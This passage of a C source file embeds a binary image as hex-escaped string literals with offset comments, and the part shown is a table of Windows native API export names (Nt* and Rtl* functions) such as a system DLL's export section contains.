"\x79\x4D\x75\x6C\x74\x69\x70\x6C\x65\x56\x61\x6C\x75\x65\x4B\x65" //yMultipleValueKe /* 008DE0 */ "\x79\x00\x4E\x74\x51\x75\x65\x72\x79\x4D\x75\x74\x61\x6E\x74\x00" //y.NtQueryMutant. /* 008E00 */ "\x4E\x74\x51\x75\x65\x72\x79\x4F\x62\x6A\x65\x63\x74\x00\x4E\x74" //NtQueryObject.Nt /* 008E20 */ "\x51\x75\x65\x72\x79\x4F\x70\x65\x6E\x53\x75\x62\x4B\x65\x79\x73" //QueryOpenSubKeys /* 008E40 */ "\x00\x4E\x74\x51\x75\x65\x72\x79\x50\x65\x72\x66\x6F\x72\x6D\x61" //.NtQueryPerforma /* 008E60 */ "\x6E\x63\x65\x43\x6F\x75\x6E\x74\x65\x72\x00\x4E\x74\x51\x75\x65" //nceCounter.NtQue /* 008E80 */ "\x72\x79\x50\x6F\x72\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F" //ryPortInformatio /* 008EA0 */ "\x6E\x50\x72\x6F\x63\x65\x73\x73\x00\x4E\x74\x51\x75\x65\x72\x79" //nProcess.NtQuery /* 008EC0 */ "\x51\x75\x6F\x74\x61\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E" //QuotaInformation /* 008EE0 */ "\x46\x69\x6C\x65\x00\x4E\x74\x51\x75\x65\x72\x79\x53\x65\x63\x74" //File.NtQuerySect /* 008F00 */ "\x69\x6F\x6E\x00\x4E\x74\x51\x75\x65\x72\x79\x53\x65\x63\x75\x72" //ion.NtQuerySecur /* 008F20 */ "\x69\x74\x79\x4F\x62\x6A\x65\x63\x74\x00\x4E\x74\x51\x75\x65\x72" //ityObject.NtQuer /* 008F40 */ "\x79\x53\x65\x6D\x61\x70\x68\x6F\x72\x65\x00\x4E\x74\x51\x75\x65" //ySemaphore.NtQue /* 008F60 */ "\x72\x79\x53\x79\x6D\x62\x6F\x6C\x69\x63\x4C\x69\x6E\x6B\x4F\x62" //rySymbolicLinkOb /* 008F80 */ "\x6A\x65\x63\x74\x00\x4E\x74\x51\x75\x65\x72\x79\x53\x79\x73\x74" //ject.NtQuerySyst /* 008FA0 */ "\x65\x6D\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x6C" //emEnvironmentVal /* 008FC0 */ "\x75\x65\x00\x4E\x74\x51\x75\x65\x72\x79\x53\x79\x73\x74\x65\x6D" //ue.NtQuerySystem /* 008FE0 */ "\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x6C\x75\x65" //EnvironmentValue /* 009000 */ "\x45\x78\x00\x4E\x74\x51\x75\x65\x72\x79\x53\x79\x73\x74\x65\x6D" //Ex.NtQuerySystem /* 009020 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x4E\x74\x51\x75" //Information.NtQu /* 009040 */ "\x65\x72\x79\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x00\x4E\x74" //erySystemTime.Nt /* 009060 */ "\x51\x75\x65\x72\x79\x54\x69\x6D\x65\x72\x00\x4E\x74\x51\x75\x65" //QueryTimer.NtQue /* 009080 */ "\x72\x79\x54\x69\x6D\x65\x72\x52\x65\x73\x6F\x6C\x75\x74\x69\x6F" //ryTimerResolutio /* 0090A0 */ "\x6E\x00\x4E\x74\x51\x75\x65\x72\x79\x56\x61\x6C\x75\x65\x4B\x65" //n.NtQueryValueKe /* 0090C0 */ "\x79\x00\x4E\x74\x51\x75\x65\x72\x79\x56\x69\x72\x74\x75\x61\x6C" //y.NtQueryVirtual /* 0090E0 */ "\x4D\x65\x6D\x6F\x72\x79\x00\x4E\x74\x51\x75\x65\x72\x79\x56\x6F" //Memory.NtQueryVo /* 009100 */ "\x6C\x75\x6D\x65\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x46" //lumeInformationF /* 009120 */ "\x69\x6C\x65\x00\x4E\x74\x51\x75\x65\x75\x65\x41\x70\x63\x54\x68" //ile.NtQueueApcTh /* 009140 */ "\x72\x65\x61\x64\x00\x4E\x74\x52\x61\x69\x73\x65\x45\x78\x63\x65" //read.NtRaiseExce /* 009160 */ "\x70\x74\x69\x6F\x6E\x00\x4E\x74\x52\x61\x69\x73\x65\x48\x61\x72" //ption.NtRaiseHar /* 009180 */ "\x64\x45\x72\x72\x6F\x72\x00\x4E\x74\x52\x65\x61\x64\x46\x69\x6C" //dError.NtReadFil /* 0091A0 */ "\x65\x00\x4E\x74\x52\x65\x61\x64\x46\x69\x6C\x65\x53\x63\x61\x74" //e.NtReadFileScat /* 0091C0 */ "\x74\x65\x72\x00\x4E\x74\x52\x65\x61\x64\x52\x65\x71\x75\x65\x73" //ter.NtReadReques /* 0091E0 */ "\x74\x44\x61\x74\x61\x00\x4E\x74\x52\x65\x61\x64\x56\x69\x72\x74" //tData.NtReadVirt /* 009200 */ "\x75\x61\x6C\x4D\x65\x6D\x6F\x72\x79\x00\x4E\x74\x52\x65\x67\x69" //ualMemory.NtRegi /* 009220 */ "\x73\x74\x65\x72\x54\x68\x72\x65\x61\x64\x54\x65\x72\x6D\x69\x6E" //sterThreadTermin /* 009240 */ "\x61\x74\x65\x50\x6F\x72\x74\x00\x4E\x74\x52\x65\x6C\x65\x61\x73" //atePort.NtReleas /* 009260 */ "\x65\x4B\x65\x79\x65\x64\x45\x76\x65\x6E\x74\x00\x4E\x74\x52\x65" //eKeyedEvent.NtRe /* 009280 */ "\x6C\x65\x61\x73\x65\x4D\x75\x74\x61\x6E\x74\x00\x4E\x74\x52\x65" //leaseMutant.NtRe /* 0092A0 */ "\x6C\x65\x61\x73\x65\x53\x65\x6D\x61\x70\x68\x6F\x72\x65\x00\x4E" //leaseSemaphore.N /* 0092C0 */ "\x74\x52\x65\x6D\x6F\x76\x65\x49\x6F\x43\x6F\x6D\x70\x6C\x65\x74" //tRemoveIoComplet /* 0092E0 */ "\x69\x6F\x6E\x00\x4E\x74\x52\x65\x6D\x6F\x76\x65\x50\x72\x6F\x63" //ion.NtRemoveProc /* 009300 */ "\x65\x73\x73\x44\x65\x62\x75\x67\x00\x4E\x74\x52\x65\x6E\x61\x6D" //essDebug.NtRenam /* 009320 */ "\x65\x4B\x65\x79\x00\x4E\x74\x52\x65\x70\x6C\x61\x63\x65\x4B\x65" //eKey.NtReplaceKe /* 009340 */ "\x79\x00\x4E\x74\x52\x65\x70\x6C\x79\x50\x6F\x72\x74\x00\x4E\x74" //y.NtReplyPort.Nt /* 009360 */ "\x52\x65\x70\x6C\x79\x57\x61\x69\x74\x52\x65\x63\x65\x69\x76\x65" //ReplyWaitReceive /* 009380 */ "\x50\x6F\x72\x74\x00\x4E\x74\x52\x65\x70\x6C\x79\x57\x61\x69\x74" //Port.NtReplyWait /* 0093A0 */ "\x52\x65\x63\x65\x69\x76\x65\x50\x6F\x72\x74\x45\x78\x00\x4E\x74" //ReceivePortEx.Nt /* 0093C0 */ "\x52\x65\x70\x6C\x79\x57\x61\x69\x74\x52\x65\x70\x6C\x79\x50\x6F" //ReplyWaitReplyPo /* 0093E0 */ "\x72\x74\x00\x4E\x74\x52\x65\x71\x75\x65\x73\x74\x44\x65\x76\x69" //rt.NtRequestDevi /* 009400 */ "\x63\x65\x57\x61\x6B\x65\x75\x70\x00\x4E\x74\x52\x65\x71\x75\x65" //ceWakeup.NtReque /* 009420 */ "\x73\x74\x50\x6F\x72\x74\x00\x4E\x74\x52\x65\x71\x75\x65\x73\x74" //stPort.NtRequest /* 009440 */ "\x57\x61\x69\x74\x52\x65\x70\x6C\x79\x50\x6F\x72\x74\x00\x4E\x74" //WaitReplyPort.Nt /* 009460 */ "\x52\x65\x71\x75\x65\x73\x74\x57\x61\x6B\x65\x75\x70\x4C\x61\x74" //RequestWakeupLat /* 009480 */ "\x65\x6E\x63\x79\x00\x4E\x74\x52\x65\x73\x65\x74\x45\x76\x65\x6E" //ency.NtResetEven /* 0094A0 */ "\x74\x00\x4E\x74\x52\x65\x73\x65\x74\x57\x72\x69\x74\x65\x57\x61" //t.NtResetWriteWa /* 0094C0 */ "\x74\x63\x68\x00\x4E\x74\x52\x65\x73\x74\x6F\x72\x65\x4B\x65\x79" //tch.NtRestoreKey /* 0094E0 */ "\x00\x4E\x74\x52\x65\x73\x75\x6D\x65\x50\x72\x6F\x63\x65\x73\x73" //.NtResumeProcess /* 009500 */ "\x00\x4E\x74\x52\x65\x73\x75\x6D\x65\x54\x68\x72\x65\x61\x64\x00" //.NtResumeThread. /* 009520 */ "\x4E\x74\x53\x61\x76\x65\x4B\x65\x79\x00\x4E\x74\x53\x61\x76\x65" //NtSaveKey.NtSave /* 009540 */ "\x4B\x65\x79\x45\x78\x00\x4E\x74\x53\x61\x76\x65\x4D\x65\x72\x67" //KeyEx.NtSaveMerg /* 009560 */ "\x65\x64\x4B\x65\x79\x73\x00\x4E\x74\x53\x65\x63\x75\x72\x65\x43" //edKeys.NtSecureC /* 009580 */ "\x6F\x6E\x6E\x65\x63\x74\x50\x6F\x72\x74\x00\x4E\x74\x53\x65\x74" //onnectPort.NtSet /* 0095A0 */ "\x42\x6F\x6F\x74\x45\x6E\x74\x72\x79\x4F\x72\x64\x65\x72\x00\x4E" //BootEntryOrder.N /* 0095C0 */ "\x74\x53\x65\x74\x42\x6F\x6F\x74\x4F\x70\x74\x69\x6F\x6E\x73\x00" //tSetBootOptions. /* 0095E0 */ "\x4E\x74\x53\x65\x74\x43\x6F\x6E\x74\x65\x78\x74\x54\x68\x72\x65" //NtSetContextThre /* 009600 */ "\x61\x64\x00\x4E\x74\x53\x65\x74\x44\x65\x62\x75\x67\x46\x69\x6C" //ad.NtSetDebugFil /* 009620 */ "\x74\x65\x72\x53\x74\x61\x74\x65\x00\x4E\x74\x53\x65\x74\x44\x65" //terState.NtSetDe /* 009640 */ "\x66\x61\x75\x6C\x74\x48\x61\x72\x64\x45\x72\x72\x6F\x72\x50\x6F" //faultHardErrorPo /* 009660 */ "\x72\x74\x00\x4E\x74\x53\x65\x74\x44\x65\x66\x61\x75\x6C\x74\x4C" //rt.NtSetDefaultL /* 009680 */ "\x6F\x63\x61\x6C\x65\x00\x4E\x74\x53\x65\x74\x44\x65\x66\x61\x75" //ocale.NtSetDefau /* 0096A0 */ "\x6C\x74\x55\x49\x4C\x61\x6E\x67\x75\x61\x67\x65\x00\x4E\x74\x53" //ltUILanguage.NtS /* 0096C0 */ "\x65\x74\x45\x61\x46\x69\x6C\x65\x00\x4E\x74\x53\x65\x74\x45\x76" //etEaFile.NtSetEv /* 0096E0 */ "\x65\x6E\x74\x00\x4E\x74\x53\x65\x74\x45\x76\x65\x6E\x74\x42\x6F" //ent.NtSetEventBo /* 009700 */ "\x6F\x73\x74\x50\x72\x69\x6F\x72\x69\x74\x79\x00\x4E\x74\x53\x65" //ostPriority.NtSe /* 009720 */ "\x74\x48\x69\x67\x68\x45\x76\x65\x6E\x74\x50\x61\x69\x72\x00\x4E" //tHighEventPair.N /* 009740 */ "\x74\x53\x65\x74\x48\x69\x67\x68\x57\x61\x69\x74\x4C\x6F\x77\x45" //tSetHighWaitLowE /* 009760 */ "\x76\x65\x6E\x74\x50\x61\x69\x72\x00\x4E\x74\x53\x65\x74\x49\x6E" //ventPair.NtSetIn /* 009780 */ "\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x44\x65\x62\x75\x67\x4F\x62" //formationDebugOb /* 0097A0 */ "\x6A\x65\x63\x74\x00\x4E\x74\x53\x65\x74\x49\x6E\x66\x6F\x72\x6D" //ject.NtSetInform /* 0097C0 */ "\x61\x74\x69\x6F\x6E\x46\x69\x6C\x65\x00\x4E\x74\x53\x65\x74\x49" //ationFile.NtSetI /* 0097E0 */ "\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x4A\x6F\x62\x4F\x62\x6A" //nformationJobObj /* 009800 */ "\x65\x63\x74\x00\x4E\x74\x53\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61" //ect.NtSetInforma /* 009820 */ "\x74\x69\x6F\x6E\x4B\x65\x79\x00\x4E\x74\x53\x65\x74\x49\x6E\x66" //tionKey.NtSetInf /* 009840 */ "\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x4F\x62\x6A\x65\x63\x74\x00\x4E" //ormationObject.N /* 009860 */ "\x74\x53\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50" //tSetInformationP /* 009880 */ "\x72\x6F\x63\x65\x73\x73\x00\x4E\x74\x53\x65\x74\x49\x6E\x66\x6F" //rocess.NtSetInfo /* 0098A0 */ "\x72\x6D\x61\x74\x69\x6F\x6E\x54\x68\x72\x65\x61\x64\x00\x4E\x74" //rmationThread.Nt /* 0098C0 */ "\x53\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x54\x6F" //SetInformationTo /* 0098E0 */ "\x6B\x65\x6E\x00\x4E\x74\x53\x65\x74\x49\x6E\x74\x65\x72\x76\x61" //ken.NtSetInterva /* 009900 */ "\x6C\x50\x72\x6F\x66\x69\x6C\x65\x00\x4E\x74\x53\x65\x74\x49\x6F" //lProfile.NtSetIo /* 009920 */ "\x43\x6F\x6D\x70\x6C\x65\x74\x69\x6F\x6E\x00\x4E\x74\x53\x65\x74" //Completion.NtSet /* 009940 */ "\x4C\x64\x74\x45\x6E\x74\x72\x69\x65\x73\x00\x4E\x74\x53\x65\x74" //LdtEntries.NtSet /* 009960 */ "\x4C\x6F\x77\x45\x76\x65\x6E\x74\x50\x61\x69\x72\x00\x4E\x74\x53" //LowEventPair.NtS /* 009980 */ "\x65\x74\x4C\x6F\x77\x57\x61\x69\x74\x48\x69\x67\x68\x45\x76\x65" //etLowWaitHighEve /* 0099A0 */ "\x6E\x74\x50\x61\x69\x72\x00\x4E\x74\x53\x65\x74\x51\x75\x6F\x74" //ntPair.NtSetQuot /* 0099C0 */ "\x61\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x46\x69\x6C\x65" //aInformationFile /* 0099E0 */ "\x00\x4E\x74\x53\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x4F\x62" //.NtSetSecurityOb /* 009A00 */ "\x6A\x65\x63\x74\x00\x4E\x74\x53\x65\x74\x53\x79\x73\x74\x65\x6D" //ject.NtSetSystem /* 009A20 */ "\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x6C\x75\x65" //EnvironmentValue /* 009A40 */ "\x00\x4E\x74\x53\x65\x74\x53\x79\x73\x74\x65\x6D\x45\x6E\x76\x69" //.NtSetSystemEnvi /* 009A60 */ "\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x6C\x75\x65\x45\x78\x00\x4E" //ronmentValueEx.N /* 009A80 */ "\x74\x53\x65\x74\x53\x79\x73\x74\x65\x6D\x49\x6E\x66\x6F\x72\x6D" //tSetSystemInform /* 009AA0 */ "\x61\x74\x69\x6F\x6E\x00\x4E\x74\x53\x65\x74\x53\x79\x73\x74\x65" //ation.NtSetSyste /* 009AC0 */ "\x6D\x50\x6F\x77\x65\x72\x53\x74\x61\x74\x65\x00\x4E\x74\x53\x65" //mPowerState.NtSe /* 009AE0 */ "\x74\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x00\x4E\x74\x53\x65" //tSystemTime.NtSe /* 009B00 */ "\x74\x54\x68\x72\x65\x61\x64\x45\x78\x65\x63\x75\x74\x69\x6F\x6E" //tThreadExecution /* 009B20 */ "\x53\x74\x61\x74\x65\x00\x4E\x74\x53\x65\x74\x54\x69\x6D\x65\x72" //State.NtSetTimer /* 009B40 */ "\x00\x4E\x74\x53\x65\x74\x54\x69\x6D\x65\x72\x52\x65\x73\x6F\x6C" //.NtSetTimerResol /* 009B60 */ "\x75\x74\x69\x6F\x6E\x00\x4E\x74\x53\x65\x74\x55\x75\x69\x64\x53" //ution.NtSetUuidS /* 009B80 */ "\x65\x65\x64\x00\x4E\x74\x53\x65\x74\x56\x61\x6C\x75\x65\x4B\x65" //eed.NtSetValueKe /* 009BA0 */ "\x79\x00\x4E\x74\x53\x65\x74\x56\x6F\x6C\x75\x6D\x65\x49\x6E\x66" //y.NtSetVolumeInf /* 009BC0 */ "\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x46\x69\x6C\x65\x00\x4E\x74\x53" //ormationFile.NtS /* 009BE0 */ "\x68\x75\x74\x64\x6F\x77\x6E\x53\x79\x73\x74\x65\x6D\x00\x4E\x74" //hutdownSystem.Nt /* 009C00 */ "\x53\x69\x67\x6E\x61\x6C\x41\x6E\x64\x57\x61\x69\x74\x46\x6F\x72" //SignalAndWaitFor /* 009C20 */ "\x53\x69\x6E\x67\x6C\x65\x4F\x62\x6A\x65\x63\x74\x00\x4E\x74\x53" //SingleObject.NtS /* 009C40 */ "\x74\x61\x72\x74\x50\x72\x6F\x66\x69\x6C\x65\x00\x4E\x74\x53\x74" //tartProfile.NtSt /* 009C60 */ "\x6F\x70\x50\x72\x6F\x66\x69\x6C\x65\x00\x4E\x74\x53\x75\x73\x70" //opProfile.NtSusp /* 009C80 */ "\x65\x6E\x64\x50\x72\x6F\x63\x65\x73\x73\x00\x4E\x74\x53\x75\x73" //endProcess.NtSus /* 009CA0 */ "\x70\x65\x6E\x64\x54\x68\x72\x65\x61\x64\x00\x4E\x74\x53\x79\x73" //pendThread.NtSys /* 009CC0 */ "\x74\x65\x6D\x44\x65\x62\x75\x67\x43\x6F\x6E\x74\x72\x6F\x6C\x00" //temDebugControl. /* 009CE0 */ "\x4E\x74\x54\x65\x72\x6D\x69\x6E\x61\x74\x65\x4A\x6F\x62\x4F\x62" //NtTerminateJobOb /* 009D00 */ "\x6A\x65\x63\x74\x00\x4E\x74\x54\x65\x72\x6D\x69\x6E\x61\x74\x65" //ject.NtTerminate /* 009D20 */ "\x50\x72\x6F\x63\x65\x73\x73\x00\x4E\x74\x54\x65\x72\x6D\x69\x6E" //Process.NtTermin /* 009D40 */ "\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x4E\x74\x54\x65\x73\x74" //ateThread.NtTest /* 009D60 */ "\x41\x6C\x65\x72\x74\x00\x4E\x74\x54\x72\x61\x63\x65\x45\x76\x65" //Alert.NtTraceEve /* 009D80 */ "\x6E\x74\x00\x4E\x74\x54\x72\x61\x6E\x73\x6C\x61\x74\x65\x46\x69" //nt.NtTranslateFi /* 009DA0 */ "\x6C\x65\x50\x61\x74\x68\x00\x4E\x74\x55\x6E\x6C\x6F\x61\x64\x44" //lePath.NtUnloadD /* 009DC0 */ "\x72\x69\x76\x65\x72\x00\x4E\x74\x55\x6E\x6C\x6F\x61\x64\x4B\x65" //river.NtUnloadKe /* 009DE0 */ "\x79\x00\x4E\x74\x55\x6E\x6C\x6F\x61\x64\x4B\x65\x79\x45\x78\x00" //y.NtUnloadKeyEx. /* 009E00 */ "\x4E\x74\x55\x6E\x6C\x6F\x63\x6B\x46\x69\x6C\x65\x00\x4E\x74\x55" //NtUnlockFile.NtU /* 009E20 */ "\x6E\x6C\x6F\x63\x6B\x56\x69\x72\x74\x75\x61\x6C\x4D\x65\x6D\x6F" //nlockVirtualMemo /* 009E40 */ "\x72\x79\x00\x4E\x74\x55\x6E\x6D\x61\x70\x56\x69\x65\x77\x4F\x66" //ry.NtUnmapViewOf /* 009E60 */ "\x53\x65\x63\x74\x69\x6F\x6E\x00\x4E\x74\x56\x64\x6D\x43\x6F\x6E" //Section.NtVdmCon /* 009E80 */ "\x74\x72\x6F\x6C\x00\x4E\x74\x57\x61\x69\x74\x46\x6F\x72\x44\x65" //trol.NtWaitForDe /* 009EA0 */ "\x62\x75\x67\x45\x76\x65\x6E\x74\x00\x4E\x74\x57\x61\x69\x74\x46" //bugEvent.NtWaitF /* 009EC0 */ "\x6F\x72\x4B\x65\x79\x65\x64\x45\x76\x65\x6E\x74\x00\x4E\x74\x57" //orKeyedEvent.NtW /* 009EE0 */ "\x61\x69\x74\x46\x6F\x72\x4D\x75\x6C\x74\x69\x70\x6C\x65\x4F\x62" //aitForMultipleOb /* 009F00 */ "\x6A\x65\x63\x74\x73\x00\x4E\x74\x57\x61\x69\x74\x46\x6F\x72\x53" //jects.NtWaitForS /* 009F20 */ "\x69\x6E\x67\x6C\x65\x4F\x62\x6A\x65\x63\x74\x00\x4E\x74\x57\x61" //ingleObject.NtWa /* 009F40 */ "\x69\x74\x48\x69\x67\x68\x45\x76\x65\x6E\x74\x50\x61\x69\x72\x00" //itHighEventPair. /* 009F60 */ "\x4E\x74\x57\x61\x69\x74\x4C\x6F\x77\x45\x76\x65\x6E\x74\x50\x61" //NtWaitLowEventPa /* 009F80 */ "\x69\x72\x00\x4E\x74\x57\x72\x69\x74\x65\x46\x69\x6C\x65\x00\x4E" //ir.NtWriteFile.N /* 009FA0 */ "\x74\x57\x72\x69\x74\x65\x46\x69\x6C\x65\x47\x61\x74\x68\x65\x72" //tWriteFileGather /* 009FC0 */ "\x00\x4E\x74\x57\x72\x69\x74\x65\x52\x65\x71\x75\x65\x73\x74\x44" //.NtWriteRequestD /* 009FE0 */ "\x61\x74\x61\x00\x4E\x74\x57\x72\x69\x74\x65\x56\x69\x72\x74\x75" //ata.NtWriteVirtu /* 00A000 */ "\x61\x6C\x4D\x65\x6D\x6F\x72\x79\x00\x4E\x74\x59\x69\x65\x6C\x64" //alMemory.NtYield /* 00A020 */ "\x45\x78\x65\x63\x75\x74\x69\x6F\x6E\x00\x50\x66\x78\x46\x69\x6E" //Execution.PfxFin /* 00A040 */ "\x64\x50\x72\x65\x66\x69\x78\x00\x50\x66\x78\x49\x6E\x69\x74\x69" //dPrefix.PfxIniti /* 00A060 */ "\x61\x6C\x69\x7A\x65\x00\x50\x66\x78\x49\x6E\x73\x65\x72\x74\x50" //alize.PfxInsertP /* 00A080 */ "\x72\x65\x66\x69\x78\x00\x50\x66\x78\x52\x65\x6D\x6F\x76\x65\x50" //refix.PfxRemoveP /* 00A0A0 */ "\x72\x65\x66\x69\x78\x00\x50\x72\x6F\x70\x65\x72\x74\x79\x4C\x65" //refix.PropertyLe /* 00A0C0 */ "\x6E\x67\x74\x68\x41\x73\x56\x61\x72\x69\x61\x6E\x74\x00\x52\x74" //ngthAsVariant.Rt /* 00A0E0 */ "\x6C\x41\x62\x6F\x72\x74\x52\x58\x61\x63\x74\x00\x52\x74\x6C\x41" //lAbortRXact.RtlA /* 00A100 */ "\x62\x73\x6F\x6C\x75\x74\x65\x54\x6F\x53\x65\x6C\x66\x52\x65\x6C" //bsoluteToSelfRel /* 00A120 */ "\x61\x74\x69\x76\x65\x53\x44\x00\x52\x74\x6C\x41\x63\x71\x75\x69" //ativeSD.RtlAcqui /* 00A140 */ "\x72\x65\x50\x65\x62\x4C\x6F\x63\x6B\x00\x52\x74\x6C\x41\x63\x71" //rePebLock.RtlAcq /* 00A160 */ "\x75\x69\x72\x65\x52\x65\x73\x6F\x75\x72\x63\x65\x45\x78\x63\x6C" //uireResourceExcl /* 00A180 */ "\x75\x73\x69\x76\x65\x00\x52\x74\x6C\x41\x63\x71\x75\x69\x72\x65" //usive.RtlAcquire /* 00A1A0 */ "\x52\x65\x73\x6F\x75\x72\x63\x65\x53\x68\x61\x72\x65\x64\x00\x52" //ResourceShared.R /* 00A1C0 */ "\x74\x6C\x41\x63\x74\x69\x76\x61\x74\x65\x41\x63\x74\x69\x76\x61" //tlActivateActiva /* 00A1E0 */ "\x74\x69\x6F\x6E\x43\x6F\x6E\x74\x65\x78\x74\x00\x52\x74\x6C\x41" //tionContext.RtlA /* 00A200 */ "\x63\x74\x69\x76\x61\x74\x65\x41\x63\x74\x69\x76\x61\x74\x69\x6F" //ctivateActivatio /* 00A220 */ "\x6E\x43\x6F\x6E\x74\x65\x78\x74\x45\x78\x00\x52\x74\x6C\x41\x63" //nContextEx.RtlAc /* 00A240 */ "\x74\x69\x76\x61\x74\x65\x41\x63\x74\x69\x76\x61\x74\x69\x6F\x6E" //tivateActivation /* 00A260 */ "\x43\x6F\x6E\x74\x65\x78\x74\x55\x6E\x73\x61\x66\x65\x46\x61\x73" //ContextUnsafeFas /* 00A280 */ "\x74\x00\x52\x74\x6C\x41\x64\x64\x41\x63\x63\x65\x73\x73\x41\x6C" //t.RtlAddAccessAl /* 00A2A0 */ "\x6C\x6F\x77\x65\x64\x41\x63\x65\x00\x52\x74\x6C\x41\x64\x64\x41" //lowedAce.RtlAddA /* 00A2C0 */ "\x63\x63\x65\x73\x73\x41\x6C\x6C\x6F\x77\x65\x64\x41\x63\x65\x45" //ccessAllowedAceE /* 00A2E0 */ "\x78\x00\x52\x74\x6C\x41\x64\x64\x41\x63\x63\x65\x73\x73\x41\x6C" //x.RtlAddAccessAl /* 00A300 */ "\x6C\x6F\x77\x65\x64\x4F\x62\x6A\x65\x63\x74\x41\x63\x65\x00\x52" //lowedObjectAce.R /* 00A320 */ "\x74\x6C\x41\x64\x64\x41\x63\x63\x65\x73\x73\x44\x65\x6E\x69\x65" //tlAddAccessDenie /* 00A340 */ "\x64\x41\x63\x65\x00\x52\x74\x6C\x41\x64\x64\x41\x63\x63\x65\x73" //dAce.RtlAddAcces /* 00A360 */ "\x73\x44\x65\x6E\x69\x65\x64\x41\x63\x65\x45\x78\x00\x52\x74\x6C" //sDeniedAceEx.Rtl /* 00A380 */ "\x41\x64\x64\x41\x63\x63\x65\x73\x73\x44\x65\x6E\x69\x65\x64\x4F" //AddAccessDeniedO /* 00A3A0 */ "\x62\x6A\x65\x63\x74\x41\x63\x65\x00\x52\x74\x6C\x41\x64\x64\x41" //bjectAce.RtlAddA /* 00A3C0 */ "\x63\x65\x00\x52\x74\x6C\x41\x64\x64\x41\x63\x74\x69\x6F\x6E\x54" //ce.RtlAddActionT /* 00A3E0 */ "\x6F\x52\x58\x61\x63\x74\x00\x52\x74\x6C\x41\x64\x64\x41\x74\x6F" //oRXact.RtlAddAto /* 00A400 */ "\x6D\x54\x6F\x41\x74\x6F\x6D\x54\x61\x62\x6C\x65\x00\x52\x74\x6C" //mToAtomTable.Rtl /* 00A420 */ "\x41\x64\x64\x41\x74\x74\x72\x69\x62\x75\x74\x65\x41\x63\x74\x69" //AddAttributeActi /* 00A440 */ "\x6F\x6E\x54\x6F\x52\x58\x61\x63\x74\x00\x52\x74\x6C\x41\x64\x64" //onToRXact.RtlAdd /* 00A460 */ "\x41\x75\x64\x69\x74\x41\x63\x63\x65\x73\x73\x41\x63\x65\x00\x52" //AuditAccessAce.R /* 00A480 */ "\x74\x6C\x41\x64\x64\x41\x75\x64\x69\x74\x41\x63\x63\x65\x73\x73" //tlAddAuditAccess /* 00A4A0 */ "\x41\x63\x65\x45\x78\x00\x52\x74\x6C\x41\x64\x64\x41\x75\x64\x69" //AceEx.RtlAddAudi /* 00A4C0 */ "\x74\x41\x63\x63\x65\x73\x73\x4F\x62\x6A\x65\x63\x74\x41\x63\x65" //tAccessObjectAce /* 00A4E0 */ "\x00\x52\x74\x6C\x41\x64\x64\x43\x6F\x6D\x70\x6F\x75\x6E\x64\x41" //.RtlAddCompoundA /* 00A500 */ "\x63\x65\x00\x52\x74\x6C\x41\x64\x64\x52\x61\x6E\x67\x65\x00\x52" //ce.RtlAddRange.R /* 00A520 */ "\x74\x6C\x41\x64\x64\x52\x65\x66\x41\x63\x74\x69\x76\x61\x74\x69" //tlAddRefActivati /* 00A540 */ "\x6F\x6E\x43\x6F\x6E\x74\x65\x78\x74\x00\x52\x74\x6C\x41\x64\x64" //onContext.RtlAdd /* 00A560 */ "\x52\x65\x66\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65\x61\x6D\x00" //RefMemoryStream. /* 00A580 */ "\x52\x74\x6C\x41\x64\x64\x56\x65\x63\x74\x6F\x72\x65\x64\x45\x78" //RtlAddVectoredEx /* 00A5A0 */ "\x63\x65\x70\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x00\x52" //ceptionHandler.R /* 00A5C0 */ "\x74\x6C\x41\x64\x64\x72\x65\x73\x73\x49\x6E\x53\x65\x63\x74\x69" //tlAddressInSecti /* 00A5E0 */ "\x6F\x6E\x54\x61\x62\x6C\x65\x00\x52\x74\x6C\x41\x64\x6A\x75\x73" //onTable.RtlAdjus /* 00A600 */ "\x74\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x00\x52\x74\x6C\x41\x6C" //tPrivilege.RtlAl /* 00A620 */ "\x6C\x6F\x63\x61\x74\x65\x41\x6E\x64\x49\x6E\x69\x74\x69\x61\x6C" //locateAndInitial /* 00A640 */ "\x69\x7A\x65\x53\x69\x64\x00\x52\x74\x6C\x41\x6C\x6C\x6F\x63\x61" //izeSid.RtlAlloca /* 00A660 */ "\x74\x65\x48\x61\x6E\x64\x6C\x65\x00\x52\x74\x6C\x41\x6C\x6C\x6F" //teHandle.RtlAllo /* 00A680 */ "\x63\x61\x74\x65\x48\x65\x61\x70\x00\x52\x74\x6C\x41\x6E\x73\x69" //cateHeap.RtlAnsi /* 00A6A0 */ "\x43\x68\x61\x72\x54\x6F\x55\x6E\x69\x63\x6F\x64\x65\x43\x68\x61" //CharToUnicodeCha /* 00A6C0 */ "\x72\x00\x52\x74\x6C\x41\x6E\x73\x69\x53\x74\x72\x69\x6E\x67\x54" //r.RtlAnsiStringT /* 00A6E0 */ "\x6F\x55\x6E\x69\x63\x6F\x64\x65\x53\x69\x7A\x65\x00\x52\x74\x6C" //oUnicodeSize.Rtl /* 00A700 */ "\x41\x6E\x73\x69\x53\x74\x72\x69\x6E\x67\x54\x6F\x55\x6E\x69\x63" //AnsiStringToUnic /* 00A720 */ 